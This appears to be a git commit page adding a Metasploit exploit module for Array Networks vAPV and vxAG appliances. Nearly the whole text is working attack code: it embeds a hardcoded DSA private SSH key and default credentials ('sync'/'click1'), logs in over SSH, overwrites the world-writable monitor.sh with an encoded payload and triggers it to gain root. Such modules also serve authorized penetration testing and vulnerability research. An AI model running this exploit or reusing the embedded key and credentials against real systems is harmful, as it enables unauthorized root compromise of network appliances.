Array Networks vxAG and vAPV SSH key and privesc
parent
f766a74150
commit
1043d9d8b2
|
@ -0,0 +1,198 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'net/ssh'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
#include Msf::Exploit::CmdStagerPrintf
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Array Networks vAPV and vxAG Private Key Privelege Escalation Code Execution",
|
||||
'Description' => %q{
|
||||
This module exploits a default hardcoded private SSH key or default hardcoded
|
||||
login and password in the vAPV 8.3.2.17 and vxAG 9.2.0.34 appliances made
|
||||
by Array Networks.
|
||||
After logged in as the unprivileged user, it's possible to modify the world
|
||||
writable file /ca/bin/monitor.sh with our arbitrary code.
|
||||
Execution of the arbitrary code is possible by using the backend tool to turn
|
||||
the debug monitoring on. This makes it possible to trigger our payload with
|
||||
root privileges.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'xistence <xistence[at]0x90.nl>', # Original discovery and Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none"
|
||||
},
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Payload' =>
|
||||
{
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic telnet',
|
||||
}
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
['vAPV 8.3.2.17 / vxAG 9.2.0.34', {}],
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => "Feb 03 2014",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RHOST(),
|
||||
Opt::RPORT(22),
|
||||
OptBool.new('SSHKEY', [ true, 'Use SSH key instead of password', true]),
|
||||
OptString.new('USER', [ true, 'vAPV/vxAG SSH user', 'sync']),
|
||||
OptString.new('PASS', [ true, 'vAPV/vxAG SSH password', 'click1'])
|
||||
], self.class
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
|
||||
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
def rhost
|
||||
datastore['RHOST']
|
||||
end
|
||||
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
|
||||
#def execute_command(cmd, opts)
|
||||
def exploit
|
||||
user = datastore['USER']
|
||||
pass = datastore['PASS']
|
||||
|
||||
if datastore['SSHKEY']
|
||||
print_status("#{rhost}:#{rport} - Attempt to login with '#{user}:SSH PRIVATE KEY'")
|
||||
|
||||
key_data = "-----BEGIN DSA PRIVATE KEY-----\n"
|
||||
key_data += "MIIBugIBAAKBgQCUw7F/vKJT2Xsq+fIPVxNC/Dyk+dN9DWQT5RO56eIQasd+h6Fm\n"
|
||||
key_data += "q1qtQrJ/DOe3VjfUrSm7NN5NoIGOrGCSuQFthFmq+9Lpt6WIykB4mau5iE5orbKM\n"
|
||||
key_data += "xTfyu8LtntoikYKrlMB+UrmKDidvZ+7oWiC14imT+Px/3Q7naj0UmOrSTwIVAO25\n"
|
||||
key_data += "Yf3SYNtTYv8yzaV+X9yNr/AfAoGADAcEh2bdsrDhwhXtVi1L3cFQx1KpN0B07JLr\n"
|
||||
key_data += "gJzJcDLUrwmlMUmrXR2obDGfVQh46EFMeo/k3IESw2zJUS58FJW+sKZ4noSwRZPq\n"
|
||||
key_data += "mpBnERKpLOTcWMxUyV8ETsz+9oz71YEMjmR1qvNYAopXf5Yy+4Zq3bgqmMMQyM+K\n"
|
||||
key_data += "O1PdlCkCgYBmhSl9CVPgVMv1xO8DAHVhM1huIIK8mNFrzMJz+JXzBx81ms1kWSeQ\n"
|
||||
key_data += "OC/nraaXFTBlqiQsvB8tzr4xZdbaI/QzVLKNAF5C8BJ4ScNlTIx1aZJwyMil8Nzb\n"
|
||||
key_data += "+0YAsw5Ja+bEZZvEVlAYnd10qRWrPeEY1txLMmX3wDa+JvJL7fmuBgIUZoXsJnzs\n"
|
||||
key_data += "+sqSEhA35Le2kC4Y1/A=\n"
|
||||
key_data += "-----END DSA PRIVATE KEY-----\n"
|
||||
|
||||
opts = {
|
||||
#:auth_methods => ['password', 'keyboard-interactive'],
|
||||
:auth_methods => ['publickey'],
|
||||
:msframework => framework,
|
||||
:msfmodule => self,
|
||||
:port => rport,
|
||||
:disable_agent => true,
|
||||
:config => true,
|
||||
:key_data => key_data,
|
||||
#:password => pass,
|
||||
:record_auth_info => true,
|
||||
:proxies => datastore['Proxies']
|
||||
}
|
||||
|
||||
else
|
||||
print_status("#{rhost}:#{rport} - Attempt to login with '#{user}:#{pass}'")
|
||||
|
||||
opts = {
|
||||
:auth_methods => ['password', 'keyboard-interactive'],
|
||||
:msframework => framework,
|
||||
:msfmodule => self,
|
||||
:port => rport,
|
||||
:disable_agent => true,
|
||||
:config => true,
|
||||
:password => pass,
|
||||
:record_auth_info => true,
|
||||
:proxies => datastore['Proxies']
|
||||
}
|
||||
|
||||
end
|
||||
|
||||
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
|
||||
|
||||
begin
|
||||
ssh = nil
|
||||
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
||||
ssh = Net::SSH.start(rhost, user, opts)
|
||||
end
|
||||
rescue Rex::ConnectionError, Rex::AddressInUse
|
||||
return
|
||||
rescue Net::SSH::Disconnect, ::EOFError
|
||||
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
|
||||
return
|
||||
rescue ::Timeout::Error
|
||||
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
|
||||
return
|
||||
rescue Net::SSH::AuthenticationFailed
|
||||
print_error "#{rhost}:#{rport} SSH - Failed authentication"
|
||||
rescue Net::SSH::Exception => e
|
||||
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
|
||||
return
|
||||
end
|
||||
|
||||
if ssh
|
||||
|
||||
if datastore['SSHKEY']
|
||||
print_good("#{rhost}:#{rport} - Login Successful with '#{user}:SSH PRIVATE KEY'")
|
||||
else
|
||||
print_good("#{rhost}:#{rport} - Login Successful with '#{user}:#{pass}'")
|
||||
end
|
||||
|
||||
montemp = rand_text_alphanumeric(10)
|
||||
|
||||
print_status("#{rhost}:#{rport} - Sending and executing payload to gain root privileges!")
|
||||
cmd = Rex::Text.encode_base64("nohup " + payload.encoded)
|
||||
|
||||
# Turn debug monitoring off, just in case it's turned on
|
||||
command = '/ca/bin/backend -c "debug monitor off"`echo -e "\0374"`;'
|
||||
# Copy the data from monitor.sh to a random tmp file
|
||||
command += "cat /ca/bin/monitor.sh > /tmp/#{montemp};"
|
||||
# Insert our base64 encoded payload in to the world writable /ca/bin/monitor.sh file
|
||||
command += "/usr/bin/perl -MMIME::Base64 -le 'print decode_base64(\"#{cmd}\")' > /ca/bin/monitor.sh;"
|
||||
command += "/usr/bin/perl -MMIME::Base64 -le 'print decode_base64(\"#{cmd}\")' > /tmp/blaat.sh;"
|
||||
|
||||
# Turn debug monitoring on, which will start the monitor.sh and thus our payload
|
||||
command += '/ca/bin/backend -c "debug monitor on"`echo -e "\0374"`;'
|
||||
# Copy monitor.sh data back
|
||||
command += "cat /tmp/#{montemp} > /ca/bin/monitor.sh"
|
||||
|
||||
|
||||
# Make the SSH connection and execute our commands + payload
|
||||
Net::SSH::CommandStream.new(ssh, command, true)
|
||||
|
||||
ssh = nil
|
||||
|
||||
end
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue